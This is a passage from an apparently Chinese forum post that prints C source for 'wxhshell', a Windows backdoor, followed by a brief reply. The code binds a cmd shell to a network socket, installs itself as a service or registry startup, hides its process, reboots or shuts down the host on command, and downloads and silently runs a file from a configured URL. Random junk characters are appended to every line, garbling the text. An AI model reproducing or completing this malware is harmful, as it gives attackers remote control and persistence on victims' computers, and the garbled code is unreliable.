  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /KnIU|;  
  if(DownloadFile(cmd,wsh)) o-_,l J7o^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); g$)0E<  
  else _+)OL-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [?<v|k  
  } ;dZZOocV1  
  else { F3!6}u\F  
7?k3jDK  
    switch(cmd[0]) { W=S^t_F  
  ^o C>,%7  
  // 帮助 qrOesSdc  
  case '?': { j3w~2q"r  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %<Qv?`B  
    break; &=%M("IlD  
  } ;A"i.:ZT  
  // 安装 q2B'R   
  case 'i': { ! Y UT*  
    if(Install()) QrSO%Rm1*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h Ks  
    else Wn;%B].I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `_neYT  
    break; G~&q  
    } :G9d,B7*  
  // 卸载 dwvc;f-  
  case 'r': { 8KR17i1  
    if(Uninstall()) 7Y.yl F:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T[[E)f1[  
    else FR50y+h^$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i/8OC  
    break; \N?lG q  
    } %ByqkY{5F  
  // 显示 wxhshell 所在路径 DD7D&@As  
  case 'p': { UDk H'x$=  
    char svExeFile[MAX_PATH]; +('xzW  
    strcpy(svExeFile,"\n\r"); ^Bw"+6d  
      strcat(svExeFile,ExeFile); )<'2 vpz  
        send(wsh,svExeFile,strlen(svExeFile),0); 0V"(}!=2a  
    break; s&WE'  
    } Qd3ppJn  
  // 重启 OHngpe4  
  case 'b': { 6eB~S)Ko  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V.Lk70 \  
    if(Boot(REBOOT)) @Py'SH!-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I )% bOK]  
    else { [ot+EA  
    closesocket(wsh); 6x!iL\Y~  
    ExitThread(0); F DGzh/  
    } XI ><;#  
    break; Bz,Xg-k+  
    } ZZxt90YR'5  
  // 关机 gHL:XW^  
  case 'd': { HuA4eJ(2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N1:)Z`r  
    if(Boot(SHUTDOWN)) ZLP0SCkuR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i-95>ff  
    else { 8*VQw?{Uee  
    closesocket(wsh); c2gZ<[~  
    ExitThread(0); .ArOZ{lKD>  
    } ) TNG0[  
    break; qMO(j%N5  
    } .UK`~17!  
  // 获取shell iy8Ln,4z(  
  case 's': { %&'[? LXD  
    CmdShell(wsh); aJs! bx>K  
    closesocket(wsh); V2m= m}HQ  
    ExitThread(0); .)t*!$5=N  
    break; (LVzE_`  
  } ,4,./wIq  
  // 退出 33"!K>wC  
  case 'x': { =ZV+*cCC=q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dt=M#+g  
    CloseIt(wsh); lH,/N4 r*&  
    break; qssK0!-  
    } ^|h.B$_F,  
  // 离开 n;.);  
  case 'q': { 4Dd]:2|D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); HXB & 6  
    closesocket(wsh); KpQ@cc  
    WSACleanup(); T}'*Gry  
    exit(1); >#;>6q9_  
    break; 1NN#-U  
        } &6\E'bBt  
  } A(C0/|#V  
  } +I.{y  
*'@T+$3s  
  // 提示信息 1q*=4O  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D|C!KF (  
} )h%tEY$AJ  
  } Lp{uA4:=K  
!|,djo!N  
  return; *u>[  
} <{HV|B7  
wX@g >(  
// shell模块句柄 ~P-^An^  
int CmdShell(SOCKET sock) 8hX /~-H  
{ SmP&wNHQf  
STARTUPINFO si; @Rqn&tA8  
ZeroMemory(&si,sizeof(si)); =#I/x=L:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KW36nY\7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %F0.TR!!n  
PROCESS_INFORMATION ProcessInfo; ge&!GO  
char cmdline[]="cmd"; v?q)E%5j  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p" Di;3!y!  
  return 0; .Jc<Gg  
} )c0Dofhg  
phcYQqR  
// 自身启动模式 {%Q+Pzl.  
int StartFromService(void) 7a%)/ )<D  
{ Jj+Hj[(@  
typedef struct u>03l(X6f  
{ =kW7|c5Z  
  DWORD ExitStatus; 5q}7#{A  
  DWORD PebBaseAddress; RDu{U(!  
  DWORD AffinityMask; ~N+H7T.L  
  DWORD BasePriority; o7fJ@3B/  
  ULONG UniqueProcessId; Gd[: &h  
  ULONG InheritedFromUniqueProcessId; jxgs!B>   
}   PROCESS_BASIC_INFORMATION; ?$H=n{iW  
J}VG4}L  
PROCNTQSIP NtQueryInformationProcess; ]n4G]ybK%  
5mI}IS|@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5&Le?-/\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8/ CK(G  
@B>pPCowa  
  HANDLE             hProcess; GUvEOD=p  
  PROCESS_BASIC_INFORMATION pbi; E$5A 1  
h`MTB!o  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]M&KUgz  
  if(NULL == hInst ) return 0; >yt8gw0J  
6PRP&|.#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f2M}N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6"c(5#H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6L&_(/{Uw  
U;Q?Rh- W  
  if (!NtQueryInformationProcess) return 0; Z2I2 [pA  
G9 ra;.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {60U6n  
  if(!hProcess) return 0; eh6=-  
^" UZ.@sq'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -pm%F8{T]  
>+ku:<Hw%.  
  CloseHandle(hProcess); ys} I~MK-  
EpH\;25u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z CFXQi  
if(hProcess==NULL) return 0; FWQNO(  
`z6I][Uf  
HMODULE hMod; bb`8YF+?'  
char procName[255]; a~Y`N73/c  
unsigned long cbNeeded; <3[0A;W=1  
lemUUl(^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t$ 3/ZTx  
GNI:k{H@"?  
  CloseHandle(hProcess); Ou2p^:C(  
6fw2 ;$x"  
if(strstr(procName,"services")) return 1; // 以服务启动 F+m;y  
O g!SFg*  
  return 0; // 注册表启动  M_f.e!?  
} @@#h-k%k-  
6{?B`gm7g  
// 主模块 ]R]%c*tA  
int StartWxhshell(LPSTR lpCmdLine) oYrg;]H  
{ ze#r/j;sw  
  SOCKET wsl; )s>R~7  
BOOL val=TRUE; ECvTmU'=  
  int port=0; u:%Ln_S  
  struct sockaddr_in door; ')KuLVE}S  
tE;c>=>t  
  if(wscfg.ws_autoins) Install(); ")eY{C  
eDS,}Z'  
port=atoi(lpCmdLine); 1HBXD\!  
:#Nrypsu  
if(port<=0) port=wscfg.ws_port; Nu7lPEM  
%"BJW  
  WSADATA data; !4(QeV-=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1R7w  
zEs:OOM  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   fnJt8Y4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gH|:=vfYUR  
  door.sin_family = AF_INET; 7Nlk:f)*-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >AUzsQ  
  door.sin_port = htons(port); `z<I<  
)i$KrN6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ({WV<T&  
closesocket(wsl); 4~z-&>%  
return 1; H[U"eS."  
} NWII?X#T}  
F4 =V* /7  
  if(listen(wsl,2) == INVALID_SOCKET) { >|g(/@IO  
closesocket(wsl); ?dAy_| zD  
return 1; EEj.Kch}4  
} sc$I,|d2  
  Wxhshell(wsl); @ x5LrQ_`r  
  WSACleanup(); #7p!xf^  
oR'u&\mB  
return 0; ^BhS*  
}sW%i#CV  
} 5b;~&N4~  
|a>,FZv8e  
// 以NT服务方式启动 ;]^% 6B n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X v$"B-j  
{ cng166}1A  
DWORD   status = 0; EfGy^`,'G  
  DWORD   specificError = 0xfffffff; \U.js-  
M&` b\la  
  serviceStatus.dwServiceType     = SERVICE_WIN32; aBWA hn  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4XIc|a Aa  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9G^gI}bY  
  serviceStatus.dwWin32ExitCode     = 0; ZMO ym=  
  serviceStatus.dwServiceSpecificExitCode = 0; WGHf?G/s  
  serviceStatus.dwCheckPoint       = 0; . pyNET  
  serviceStatus.dwWaitHint       = 0; sI6coe5n  
y1 a1UiHGP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r>B|JPm  
  if (hServiceStatusHandle==0) return; :?SD#Vvrh.  
!TLJk]7uC  
status = GetLastError(); )F,z pGG  
  if (status!=NO_ERROR) %`}nP3  
{ @IV,sz e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zQaD&2 q  
    serviceStatus.dwCheckPoint       = 0; -|4 Oq  
    serviceStatus.dwWaitHint       = 0; W}@IUCRs  
    serviceStatus.dwWin32ExitCode     = status; q@vqhE4  
    serviceStatus.dwServiceSpecificExitCode = specificError; jR>`Xz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -.l.@  
    return; f-Zi!AGh>  
  } h}4yz96WD  
1C(sBU"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +P%k@w#<Z  
  serviceStatus.dwCheckPoint       = 0; !TO+[g!  
  serviceStatus.dwWaitHint       = 0; z[' 2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~,.'#=V  
} 8~y&"  \  
bL/DjsZ@  
// 处理NT服务事件,比如:启动、停止 8yk4#CZ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) L5r02VzbD  
{ XvVi)`8!u  
switch(fdwControl) +`uNO<$~f  
{ c/E'GG%Q%  
case SERVICE_CONTROL_STOP: _RE;}1rb,  
  serviceStatus.dwWin32ExitCode = 0; vH/RP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  w>\_d  
  serviceStatus.dwCheckPoint   = 0; WaSZw0U}y  
  serviceStatus.dwWaitHint     = 0; 2@Oz_?O=  
  { J;'H],w}f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5}Z>N,4  
  } fGoJP[ae  
  return; wU|jw(  
case SERVICE_CONTROL_PAUSE: ic}mru  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L}rYh`bUP[  
  break; 0X5b32  
case SERVICE_CONTROL_CONTINUE: K #}t\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /h8100  
  break; r+;k(HMY}[  
case SERVICE_CONTROL_INTERROGATE: h.q9p!  
  break; Zxh<pd25Y  
}; %F\.1\&eE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7[I +1  
} 2"_5Yyb  
*Sps^Wl  
// 标准应用程序主函数 h s_x @6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) TG% w  
{ |5jrl|  
Up0kTL  
// 获取操作系统版本 [}yPy))A  
OsIsNt=GetOsVer(); c#TV2@   
GetModuleFileName(NULL,ExeFile,MAX_PATH); U9jdb9 |  
{.ypZ8JU  
  // 从命令行安装 (__$YQ-  
  if(strpbrk(lpCmdLine,"iI")) Install(); {vdY(  
\ &47u1B  
  // 下载执行文件 WtO@Kf:3GH  
if(wscfg.ws_downexe) { d:"7Tw2v+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) yhrjML2K  
  WinExec(wscfg.ws_filenam,SW_HIDE); WyRSy-{U(}  
} H!'4A&  
F}=_"IkZ  
if(!OsIsNt) { udmLHc  
// 如果时win9x,隐藏进程并且设置为注册表启动 L7R!,  
HideProc(); 'KDt%?24  
StartWxhshell(lpCmdLine); 3aU5rbi|B  
} 6|IJwP^Q_  
else EP^qj j@M  
  if(StartFromService()) -[}Aka,f!  
  // 以服务方式启动 d0R;|p''Z  
  StartServiceCtrlDispatcher(DispatchTable); bM.$D-?dF*  
else Rh#`AM`)j  
  // 普通方式启动 oW^>J-  
  StartWxhshell(lpCmdLine); 5zh6l+S[  
+s^nT{B@\  
return 0; a~?B/ g&_  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录 或 注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八